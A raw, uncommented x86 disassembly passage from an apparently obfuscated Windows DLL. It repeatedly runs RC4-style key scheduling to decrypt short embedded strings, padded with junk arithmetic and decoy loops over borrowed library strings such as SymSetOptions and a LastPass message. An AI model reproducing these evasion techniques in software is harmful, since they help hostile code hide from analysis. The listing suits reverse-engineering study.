jl 0x1000cb59
cmp word [eax], dx
jne 0x1000cb46
jmp 0x1000cb6e
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x40]
call fcn.1000b9f7
mov eax, dword [0x10024e14]
xor edx, edx
mov dword [ebp - 0x18], eax
mov esi, str.1f2u2V3h3
mov byte [ebp - 0x6b], 0xfc
lea edi, [ebp - 0x34]
mov word [ebp - 0x69], 0x63ca
push 9
pop eax
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x6c], al
push 0x1a
pop eax
movsd dword es:[edi], dword [esi]
mov dword [ebp - 8], eax
mov byte [ebp - 0x6a], al
mov eax, edx
mov byte [ebp - 0x67], 0x8d
movsw word es:[edi], word [esi]
mov dword [ebp - 0x10], edx
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000cb9c
mov esi, dword [ebp - 0x18]
mov edi, edx
xor edx, edx
mov cl, byte [ebp + edi - 0x174]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x60]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x34]
add eax, dword [ebp - 0x10]
add ecx, eax
xor esi, 0x2451e9f8
movzx eax, cl
mov dword [ebp - 0x10], eax
mov dword [0x100249f0], esi
imul eax, esi, 0xa3b11a1b
xor eax, 0xaa08b6f2
mov dword [0x10024c08], eax
call fcn.1000a976
mov eax, dword [0x10024e14]
or eax, 0xb80bf7b4
imul eax, eax, 0xd0a05dde
mov dword [0x100249f0], eax
call fcn.1000a244
mov ecx, dword [ebp - 0x10]
mov al, byte [ebp + ecx - 0x174]
mov byte [ebp + edi - 0x174], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x174], al
cmp edi, 0x100
jae 0x1000cc3e
mov esi, dword [0x10024e14]
jmp 0x1000cbb0
xor eax, eax
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x10]
mov cl, byte [ebp + edi - 0x174]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + edi - 0x174], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x174], cl
movzx eax, byte [ebp + edi - 0x174]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + esi - 0x6c]
mov byte [ebp + esi - 0x34c], al
inc esi
cmp esi, 6
jb 0x1000cc47
mov cl, byte [str.GdipIsVisibleRegionRect]
xor eax, eax
mov byte [ebp - 0x346], al
mov edx, str.GdipIsVisibleRegionRect
test cl, cl
je 0x1000ccc5
mov al, cl
sub al, 0x30
cmp al, 9
ja 0x1000ccfe
inc edx
mov al, byte [edx]
test al, al
jne 0x1000ccb8
mov eax, dword [0x10024c08]
mov esi, str.1_1_1h1p1x1
mov word [ebp - 0xc], 0x5d03
lea edi, [ebp - 0x34]
mov byte [ebp - 0xa], 0x41
xor eax, 0x1ba57eed
mov dword [0x100249f0], eax
movsd dword es:[edi], dword [esi]
lea edx, [eax + 0x55a50dee]
mov dword [0x10024c08], edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor esi, esi
mov esi, str.GdipIsVisibleRegionRect
jmp 0x1000cd15
mov eax, dword [0x100249f0]
xor eax, 0xbef09078
jmp 0x1000ccca
sub cl, 0x30
cmp cl, 9
ja 0x1000cd1b
inc esi
mov cl, byte [esi]
test cl, cl
jne 0x1000cd0a
jmp 0x1000cd27
imul edx, edx, 0x54bb9a53
mov dword [0x10024c08], edx
imul eax, eax, 0xe51626f6
mov ecx, str.SymSetOptions
push eax
mov dword [0x10024e14], eax
call fcn.1000b8a0
mov edi, dword [0x10024c08]
xor eax, eax
pop ecx
mov ecx, dword [0x100249f0]
mov edx, eax
mov ah, byte [str.GdipIsVisibleRegionRect]
mov esi, str.GdipIsVisibleRegionRect
test ah, ah
je 0x1000cd74
mov al, ah
sub al, 0x30
cmp al, 9
ja 0x1000cd6e
inc esi
mov al, byte [esi]
test al, al
jne 0x1000cd5f
jmp 0x1000cd74
lea ecx, [edi - 0x25b46694]
imul ecx, ecx, 0x33f61c87
mov byte [ebp + edx - 0x174], dl
inc edx
cmp edx, 0x100
jb 0x1000cd54
xor eax, eax
lea esi, [ecx + 0x7c4cecfd]
mov edi, eax
mov dword [ebp - 0x40], esi
lea eax, [ecx + 0x25929619]
mov dword [0x10024e14], esi
mov dword [0x10024c08], eax
mov esi, edi
xor edx, edx
mov cl, byte [ebp + edi - 0x174]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x184]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x34]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x174]
mov byte [ebp + edi - 0x174], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x174], al
cmp edi, 0x100
jb 0x1000cdaa
mov esi, dword [ebp - 0x40]
xor eax, eax
mov ecx, eax
mov dword [ebp - 0x50], eax
mov edx, eax
lea eax, [edx + 1]
movzx edx, al
mov dword [ebp - 0x20], edx
mov al, byte [ebp + edx - 0x174]
mov byte [ebp - 1], al
movzx eax, al
add eax, ecx
movzx ecx, al
lea eax, [esi + 0xc41525e]
mov dword [0x100249f0], eax
xor eax, eax
mov edi, eax
mov dword [ebp - 0x10], ecx
cmp byte [str.Trying_to_kill_other_lastpass.exe_instance._from_s], al
je 0x1000ce7c
inc edi
cmp edi, 0x1e15
jl 0x1000ce42
cmp byte [edi + str.Trying_to_kill_other_lastpass.exe_instance._from_s], al
jne 0x1000ce2f
jmp 0x1000ce6e
push str.Trying_to_kill_other_lastpass.exe_instance._from_s
mov edx, esi
mov ecx, str.GdipIsVisibleRegionRect
call fcn.1000a1f5
mov esi, dword [0x100249f0]
mov edx, dword [ebp - 0x20]
xor esi, 0xae0354ef
pop ecx
mov ecx, dword [ebp - 0x10]
cmp edi, 0x798
jle 0x1000ce7c
mov esi, dword [0x10024c08]
or esi, 0xfac5eb5b
jmp 0x1000ce82
add esi, 0x693347c0
mov al, byte [ebp + ecx - 0x174]
mov byte [ebp + edx - 0x174], al
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x174], al
movzx ecx, byte [ebp + edx - 0x174]
movzx eax, al
add ecx, eax
mov dword [0x10024c08], esi
movzx eax, cl
or esi, 0xce9e5304
mov ecx, dword [ebp - 0x50]
mov dword [0x10024e14], esi
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + ecx - 0xc]
mov byte [ebp + ecx - 0x248], al
inc ecx
mov dword [ebp - 0x50], ecx
cmp ecx, 3
mov ecx, dword [ebp - 0x10]
jb 0x1000cdfa
push 0x21
pop eax
push 0x11
mov byte [ebp - 0x18], al
lea edi, [ebp - 0x1a0]
pop eax
push 5
pop ecx
mov esi, str.9_9_949_9D9L9T99d9p9
mov dword [ebp - 0x344], eax
rep movsd dword es:[edi], dword [esi]
xor edx, edx
mov byte [ebp - 0x16], al
mov byte [ebp - 0x245], dl
mov eax, edx
mov byte [ebp - 0x17], 0x9f
movsw word es:[edi], word [esi]
mov byte [ebp - 0x15], 0x4d
movsb byte es:[edi], byte [esi]
mov edi, edx
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000cf1a
mov eax, dword [0x100249f0]
mov esi, edx
add eax, 0x59e5266
mov dword [ebp - 0x48], 0x16
mov dword [0x10024e14], eax
xor edx, edx
mov cl, byte [ebp + esi - 0x174]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x48]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1a0]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x174]
mov byte [ebp + esi - 0x174], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x174], al
cmp esi, 0x100
jb 0x1000cf41
xor eax, eax
mov edx, eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x174]
movzx eax, cl
add eax, edx
mov byte [ebp - 1], cl
movzx edx, al
mov dword [ebp - 0x24], edx
mov al, byte [ebp + edx - 0x174]
mov byte [ebp + edi - 0x174], al
mov byte [ebp + edx - 0x174], cl
mov eax, dword [0x10024c08]
mov ecx, str.Trying_to_kill_other_lastpass.exe_instance._from_s
add eax, 0xb51914c8
mov dword [0x100249f0], eax
call fcn.1000ada6
movzx eax, byte [ebp - 1]
movzx ecx, byte [ebp + edi - 0x174]
add ecx, eax
movzx eax, cl
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + esi - 0x18]
mov byte [ebp + esi - 0x274], al
inc esi
cmp esi, 4
jae 0x1000d004
mov edx, dword [ebp - 0x24]
jmp 0x1000cf8d
push 0xb
pop eax
push 5
pop ecx
mov esi, str.wxART_EXECUTABLE_FILE
mov byte [ebp - 0x33], al
lea edi, [ebp - 0x1a0]
mov byte [ebp - 0x34], 0xdf
rep movsd dword es:[edi], dword [esi]
xor edx, edx
mov dword [ebp - 0x32], 0x4e3baea0
mov byte [ebp - 0x270], dl
mov ecx, edx
mov dword [ebp - 0x2e], 0xebf7d9a1
movsw word es:[edi], word [esi]
mov esi, dword [0x10024e14]
mov eax, esi
or eax, 0xf99528b3
mov dword [ebp - 0x20], edx
mov dword [0x100249f0], eax
mov byte [ebp + ecx - 0x174], cl
inc ecx
cmp ecx, 0x100
jb 0x1000d04d
mov ecx, str.SymSetOptions
xor edi, edi
inc edx
lea ecx, [ecx + 2]
cmp edx, 0x1fec
je 0x1000d077
cmp word [ecx], di
jne 0x1000d064
jmp 0x1000d095
mov eax, str.SymSetOptions
mov edx, eax
mov ecx, eax
call fcn.1000b8b7
mov eax, dword [0x10024c08]
mov esi, dword [0x10024e14]
xor eax, 0xe508f949
imul eax, eax, 0x3163dce7
mov dword [0x10024c08], eax
lea eax, [esi + 0x3033ecf7]
mov ecx, str.Trying_to_kill_other_lastpass.exe_instance._from_s
mov dword [0x100249f0], eax
call fcn.1000ada6
mov edi, dword [0x10024e14]
xor eax, eax
mov ecx, dword [0x10024c08]
mov esi, eax
mov eax, ecx
mov edx, str.Trying_to_kill_other_lastpass.exe_instance._from_s
xor eax, 0xf0bb3284
mov dword [0x100249f0], eax
mov al, byte [str.Trying_to_kill_other_lastpass.exe_instance._from_s]
jmp 0x1000d0e6
sub al, 0x30
cmp al, 9
ja 0x1000d0ec
inc edx
mov al, byte [edx]
test al, al
jne 0x1000d0dd
jmp 0x1000d0f7
imul eax, edi, 0x2ab6637c
mov dword [0x100249f0], eax
xor edx, edx
mov eax, esi
div dword [ebp - 0x25c]
mov edi, ecx
xor ecx, 0x54bb3002
mov dword [ebp - 0x3c], ecx
xor edi, 0x297ff4e6
mov dword [0x10024c08], ecx
mov cl, byte [ebp + esi - 0x174]
movzx eax, byte [ebp + edx - 0x1a0]
add eax, dword [ebp - 0x20]
mov byte [ebp - 1], cl
movzx ecx, cl
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x20], ecx
mov al, byte [ebp + ecx - 0x174]
mov byte [ebp + esi - 0x174], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x174], al
mov ecx, dword [ebp - 0x3c]
cmp esi, 0x100
jb 0x1000d0c5
xor eax, eax
mov dword [0x10024e14], edi
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x10]
push 0xa
mov cl, byte [ebp + edi - 0x174]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + edi - 0x174], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x174], cl
movzx eax, byte [ebp + edi - 0x174]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + esi - 0x34]
mov byte [ebp + esi - 0x398], al
inc esi
pop eax
cmp esi, eax
jb 0x1000d16f
push 0xc
pop ecx
push 0x16
mov byte [ebp - 0xc], cl
lea edi, [ebp - 0x1b8]
pop ecx
mov byte [ebp - 0xb], cl
mov esi, str.Dont_know_how_to_convert_from_Windows_class
push 0xb
pop ecx
rep movsd dword es:[edi], dword [esi]
xor eax, eax
mov byte [ebp - 0xa], 0xa8
mov byte [ebp - 0x38e], al
movsw word es:[edi], word [esi]
cmp byte [str.Trying_to_kill_other_lastpass.exe_instance._from_s], al
je 0x1000d20c
inc eax
cmp eax, 0x1066
je 0x1000d245
cmp byte [eax + str.Trying_to_kill_other_lastpass.exe_instance._from_s], 0
jne 0x1000d1fb
mov eax, dword [ebp - 0x3c]
and eax, 0x80522089
mov ecx, str.GdipIsVisibleRegionRect
mov dword [0x10024e14], eax
call fcn.1000ada6
push 0x53
mov ecx, str.SymSetOptions
pop edx
lea eax, [edx - 0x30]
push 9
pop edx
cmp ax, dx
ja 0x1000d251
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x1000d22b
jmp 0x1000d25b
call fcn.1000b485
mov eax, dword [0x10024c08]
jmp 0x1000d20f
or dword [0x100249f0], 0x78d51540
imul eax, dword [0x10024c08], 0x9f8b852d
mov dword [0x10024c08], eax
call fcn.1000b6f5
xor ecx, ecx
mov edi, ecx
mov eax, ecx
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000d275
mov esi, ecx
mov dword [ebp - 0x24], 0x2d
xor edx, edx
mov cl, byte [ebp + esi - 0x174]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x24]
movzx ecx, cl
push 0x53
movzx eax, byte [ebp + edx - 0x1b8]
mov edx, dword [0x10024e14]
add eax, edi
add ecx, eax
mov edi, 0x1e27
movzx eax, cl
mov ecx, dword [0x100249f0]
mov dword [ebp - 0x20], eax
add ecx, 0x38b416cd
xor edx, 0x7000cecc
mov dword [0x100249f0], ecx
mov al, byte [ebp + eax - 0x174]
mov dword [ebp - 0x40], edx
mov byte [ebp + esi - 0x174], al
mov eax, str.SymSetOptions
pop edx
add edi, edx
lea eax, [eax + 2]
cmp edi, 0x252e
ja 0x1000d305
movzx edx, word [eax]
test edx, edx
jne 0x1000d2ef
jmp 0x1000d312
imul ecx, dword [ebp - 0x40], 0x78c4abb7
mov dword [0x100249f0], ecx
imul eax, dword [0x10024e14], 0x2e34071a
mov dword [0x10024c08], eax
or ecx, 0xce177712
mov edx, str.Trying_to_kill_other_lastpass.exe_instance._from_s
mov dword [0x10024e14], ecx
mov ecx, str.SymSetOptions
call fcn.1000a3b0
mov edi, dword [ebp - 0x20]
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x174], al
cmp esi, 0x100
jb 0x1000d28d
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov eax, ecx
mov esi, ecx
mov edi, dword [0x10024e14]
xor edi, 0xd23c1e5c
inc eax
movzx eax, al
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x24], edi
mov dword [0x10024c08], edi
mov cl, byte [ebp + eax - 0x174]
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp - 0x3c]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + edi - 0x174], al
mov edi, dword [ebp - 0x24]
lea eax, [edi - 0x14334645]
mov dword [0x10024e14], eax
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x174], cl
mov eax, dword [ebp - 0x3c]
movzx eax, byte [ebp + eax - 0x174]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x174]
mov byte [ebp - 1], al
xor eax, eax
cmp byte [str.Trying_to_kill_other_lastpass.exe_instance._from_s], al
je 0x1000d418
inc eax
cmp eax, 0x1c3a
jg 0x1000d3f7
cmp byte [eax + str.Trying_to_kill_other_lastpass.exe_instance._from_s], 0
jne 0x1000d3dd
cmp eax, 0x14d7
jle 0x1000d418
jmp 0x1000d413
mov edx, dword [0x100249f0]
mov ecx, edi
call fcn.1000b9f7
mov eax, dword [0x100249f0]
and eax, 0xb3fbbc99
mov dword [0x10024c08], eax
call fcn.1000b137
imul eax, dword [0x10024e14], 0x6e5ddc15
mov dword [0x10024c08], eax
mov eax, dword [0x100249f0]
mov ecx, str.GdipIsVisibleRegionRect
add eax, 0x45dd230a
mov dword [0x10024e14], eax
call fcn.1000ada6
mov al, byte [ebp + esi - 0xc]
xor al, byte [ebp - 1]
mov edx, dword [0x10024c08]
and edx, 0x6fde4d63
mov byte [ebp + esi - 0x24c], al
mov eax, dword [ebp - 0x3c]
inc esi
mov dword [0x10024c08], edx
cmp esi, 3
jb 0x1000d35f
mov esi, str.Advanced_Options
mov word [ebp - 0xc], 0x517b
lea edi, [ebp - 0x38]
mov byte [ebp - 0xa], 0x53
xor eax, eax
push 0x11
movsd dword es:[edi], dword [esi]
pop ecx
mov byte [ebp - 0x249], al
mov byte [ebp - 9], cl
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp byte [str.GdipIsVisibleRegionRect], al
je 0x1000d4c3
inc eax
cmp eax, 0x17d4
je 0x1000d4fa
cmp byte [eax + str.GdipIsVisibleRegionRect], 0
jne 0x1000d49a
cmp eax, 0x2567
jle 0x1000d4c3
push dword [0x100249f0]
mov ecx, str.SymSetOptions
call fcn.1000b8a0
pop ecx
mov eax, dword [0x100249f0]
imul ecx, dword [0x10024e14], 0xd26c505b
mov dword [0x10024e14], ecx
xor ecx, 0xae776c6f
mov edx, str.SymSetOptions
xor edi, edi
mov esi, edi
inc esi
lea edx, [edx + 2]
cmp esi, 0x1328
jl 0x1000d513
cmp word [edx], di
jne 0x1000d4e7
jmp 0x1000d518
mov ecx, dword [0x10024e14]
mov edx, ecx
call fcn.1000a821
mov eax, dword [0x10024e14]
and eax, 0x7a7a1e4
jmp 0x1000d4c8
or eax, 0xad1c864
xor eax, 0x27511f2d
mov dword [0x100249f0], eax
or ecx, 0x447e7310
mov dword [0x10024c08], ecx
call fcn.1000a9dd
push 0x53
mov edi, str.SymSetOptions
mov edx, 0x2fd
pop esi
mov eax, edi
mov ecx, esi
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x13b7
ja 0x1000d55a
movzx ecx, word [eax]
test ecx, ecx
jne 0x1000d544
jmp 0x1000d56e
call fcn.1000b137
mov eax, dword [0x10024c08]
or eax, 0x39cdc36e
mov dword [0x10024e14], eax
imul eax, dword [0x100249f0], 0x9ebd50e2
mov dword [0x10024c08], eax
mov eax, str.Trying_to_kill_other_lastpass.exe_instance._from_s
mov edx, eax
mov ecx, eax
call fcn.1000a2e1
imul eax, dword [0x100249f0], 0x5b4d55f8
mov edx, 0x16ee
mov ecx, esi
mov dword [0x100249f0], eax
mov eax, edi
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x1ebe
ja 0x1000d5c9
movzx ecx, word [eax]
test ecx, ecx
jne 0x1000d5a3
imul ecx, dword [0x10024c08], 0xa15c595a
mov dword [0x100249f0], ecx
jmp 0x1000d5e3
call fcn.1000b5ec
add dword [0x100249f0], 0x1e6268a8
call fcn.1000b137
mov ecx, dword [0x100249f0]
xor edx, edx
mov edi, edx
mov eax, edx
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000d5e9
lea eax, [ecx + 0x78ca5eee]
mov esi, edx
mov dword [ebp - 0x18], eax
mov dword [0x10024e14], eax
mov dl, byte [ebp + esi - 0x174]
mov eax, esi
push 0xf
pop ecx
and eax, ecx
movzx ecx, dl
movzx eax, byte [ebp + eax - 0x38]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x174]
mov byte [ebp + esi - 0x174], al
inc esi
mov byte [ebp + edi - 0x174], dl
cmp esi, 0x100
jb 0x1000d608
xor eax, eax
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x10]
mov cl, byte [ebp + edi - 0x174]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + edi - 0x174], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x174], cl
movzx eax, byte [ebp + edi - 0x174]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x27c], al
inc esi
cmp esi, 4
jb 0x1000d64c
push 5
pop ecx
mov esi, str.GdipCloneStringFormat
mov word [ebp - 0x14], 0x8dea
lea edi, [ebp - 0x1a0]
xor edx, edx
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x278], dl
mov eax, edx
movsw word es:[edi], word [esi]
mov edi, edx
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000d6c8
mov esi, edx
xor edx, edx
mov cl, byte [ebp + esi - 0x174]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x25c]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1a0]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x174]
mov byte [ebp + esi - 0x174], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x174], al
cmp esi, 0x100
jb 0x1000d6d9
xor edx, edx
mov dword [ebp - 0x10], edx
mov esi, edx
mov edi, edx
lea eax, [esi + 1]
mov ecx, edx
movzx esi, al
mov eax, str.SymSetOptions
inc ecx
lea eax, [eax + 2]
cmp ecx, 0x1104
je 0x1000d74e
cmp word [eax], dx
jne 0x1000d736
mov eax, dword [0x100249f0]
jmp 0x1000d779
mov eax, str.SymSetOptions
mov ecx, str.Trying_to_kill_other_lastpass.exe_instance._from_s
push eax
push str.GdipIsVisibleRegionRect
mov edx, eax
call fcn.1000a58e
mov eax, dword [0x10024e14]
mov dword [ebp - 0x18], eax
add eax, 0x874ac41f
pop ecx
pop ecx
mov dword [0x100249f0], eax
mov cl, byte [ebp + esi - 0x174]
add eax, 0x3dd3bab3
mov dword [0x10024c08], eax
mov eax, dword [ebp - 0x10]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
push 0
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + esi - 0x174], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x174], cl
movzx eax, byte [ebp + esi - 0x174]
add eax, edx
movzx eax, al
pop edx
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + edi - 0x14]
mov byte [ebp + edi - 0x1c0], al
inc edi
cmp edi, 2
jb 0x1000d729
push 6
pop ecx
mov esi, str.installoption_disableprint
or dword [0x10024c08], 0xf10c39d8
lea edi, [ebp - 0x1a4]
mov word [ebp - 0xc], 0x386a
rep movsd dword es:[edi], dword [esi]
xor eax, eax
mov byte [ebp - 0xa], 0x6b
push 0x53
mov byte [ebp - 0x1be], al
mov ecx, str.SymSetOptions
movsw word es:[edi], word [esi]
pop edx
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x18]
add esi, 0x7262f738
mov dword [ebp - 0x18], esi
mov dword [0x10024e14], esi
lea eax, [edx - 0x30]
push 9
pop edx
cmp ax, dx
ja 0x1000d83f
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x1000d825
jmp 0x1000d854
mov esi, dword [0x100249f0]
and esi, 0x7cc7e306
mov dword [ebp - 0x18], esi
mov dword [0x10024e14], esi
and esi, 0x57a86dd7
xor ecx, ecx
mov dword [0x100249f0], esi
mov eax, ecx
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000d864
mov edi, ecx
mov esi, ecx
xor edx, edx
mov cl, byte [ebp + edi - 0x174]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 8]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1a4]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x174]
mov byte [ebp + edi - 0x174], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x174], al
cmp edi, 0x100
jb 0x1000d877
mov esi, dword [ebp - 0x18]
xor eax, eax
mov dword [ebp - 0x10], eax
mov edi, eax
mov dword [ebp - 0x20], eax
jmp 0x1000d8cd
mov edi, dword [ebp - 0x3c]
push 0x53
mov edx, 0x9ec
mov eax, str.SymSetOptions
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x19a6
ja 0x1000d8f0
movzx ecx, word [eax]
test ecx, ecx
jne 0x1000d8da
jmp 0x1000d8fb
call fcn.1000b485
mov esi, dword [0x10024e14]
mov eax, esi
xor eax, 0x5c61b692
mov dword [0x100249f0], eax
add esi, 0x399c60d6
push eax
push str.GdipIsVisibleRegionRect
mov edx, esi
mov dword [0x10024e14], esi
mov ecx, esi
call fcn.1000b3a3
mov esi, dword [0x10024e14]
imul eax, esi, 0x782073c3
pop ecx
pop ecx
mov dword [0x10024c08], eax
lea eax, [edi + 1]
movzx eax, al
lea edi, [esi - 0x13117061]
mov dword [ebp - 0x3c], eax
mov dword [0x100249f0], edi
mov edi, dword [ebp - 0x3c]
mov cl, byte [ebp + eax - 0x174]
mov eax, dword [ebp - 0x10]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + edi - 0x174], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x174], cl
mov eax, edi
lea edi, [esi - 0x13117061]
movzx eax, byte [ebp + eax - 0x174]
add eax, edx
mov edx, dword [ebp - 0x20]
movzx eax, al
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + edx - 0xc]
mov byte [ebp + edx - 0x1dc], al
inc edx
mov dword [ebp - 0x20], edx
cmp edx, 3
jb 0x1000d8ca
mov eax, dword [0x10024c08]
add eax, 0xca9ac58c
mov dword [0x10024e14], eax
mov al, byte [str.GdipIsVisibleRegionRect]
mov edx, str.GdipIsVisibleRegionRect
imul ecx, edi, 0x35d0542
mov dword [0x10024c08], ecx
jmp 0x1000d9e1
sub al, 0x30
cmp al, 9
ja 0x1000d9e7
inc edx
mov al, byte [edx]
test al, al
jne 0x1000d9d8
jmp 0x1000d9f3
and ecx, 0x2e843a39
mov dword [0x10024e14], ecx
sub edi, 0x790b8e60
mov dword [0x100249f0], edi
call fcn.1000b485
push 0xc
pop ecx
mov esi, str.1_1_1_1_1014181_1_1D1H1L1P1T1X11_1d1h1l1p1t1x11
mov dword [ebp - 0x18], 0xf87396c1
lea edi, [ebp - 0x1bc]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x10024c08]
mov byte [ebp - 0x1d9], al
movsw word es:[edi], word [esi]
lea edx, [ecx + 0x1cc6d77f]
mov dword [0x10024e14], edx
movsb byte es:[edi], byte [esi]
mov edi, eax
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000da3a
push 0x53
xor ecx, 0xb6d29398
mov esi, 0xff
mov eax, str.SymSetOptions
pop edx
add esi, edx
lea eax, [eax + 2]
cmp esi, 0x12da
ja 0x1000da72
movzx edx, word [eax]
test edx, edx
jne 0x1000da5c
jmp 0x1000da7d
lea eax, [ecx + 0x4948606c]
mov dword [0x100249f0], eax
mov eax, dword [0x10024e14]
add eax, 0xb00c0adb
mov dword [0x10024c08], eax
call fcn.1000a875
xor eax, eax
mov esi, eax
imul eax, dword [0x10024c08], 0x41cae7e2
mov dword [0x100249f0], eax
xor edx, edx
mov dword [ebp - 0x24], 0x32
mov eax, esi
mov cl, byte [ebp + esi - 0x174]
div dword [ebp - 0x24]
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1bc]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x174]
mov byte [ebp + esi - 0x174], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x174], al
cmp esi, 0x100
jb 0x1000daa4
xor eax, eax
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, eax
mov eax, dword [0x10024e14]
mov dword [ebp - 0x20], eax
lea eax, [edi + 1]
and dword [ebp - 0x20], 0x7dd8899e
movzx edi, al
mov eax, dword [ebp - 0x10]
mov cl, byte [ebp + edi - 0x174]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + edi - 0x174], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x174], cl
movzx eax, byte [ebp + edi - 0x174]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + esi - 0x18]
mov byte [ebp + esi - 0x284], al
inc esi
cmp esi, 4
jb 0x1000db00
xor eax, eax
mov byte [ebp - 0x280], al
mov dword [ebp - 0x38], 0xffb60691
mov dword [ebp - 0x34], 0x1dd39ad1
mov dword [ebp - 0x30], 0x39cfaecb
mov word [ebp - 0x2c], 0x80b1
mov byte [ebp - 0x2a], 0xf0
mov edx, dword [0x100249f0]
add edx, 0x1af4776a
mov dword [0x10024e14], edx
push 5
pop ecx
mov esi, str.._AVwxDisplayFactory__
lea edi, [ebp - 0x1a0]
rep movsd dword es:[edi], dword [esi]
mov eax, edx
xor eax, 0x6f756bb2
mov dword [0x10024c08], eax
xor eax, eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp byte [str.Trying_to_kill_other_lastpass.exe_instance._from_s], al
je 0x1000dbf2
inc eax
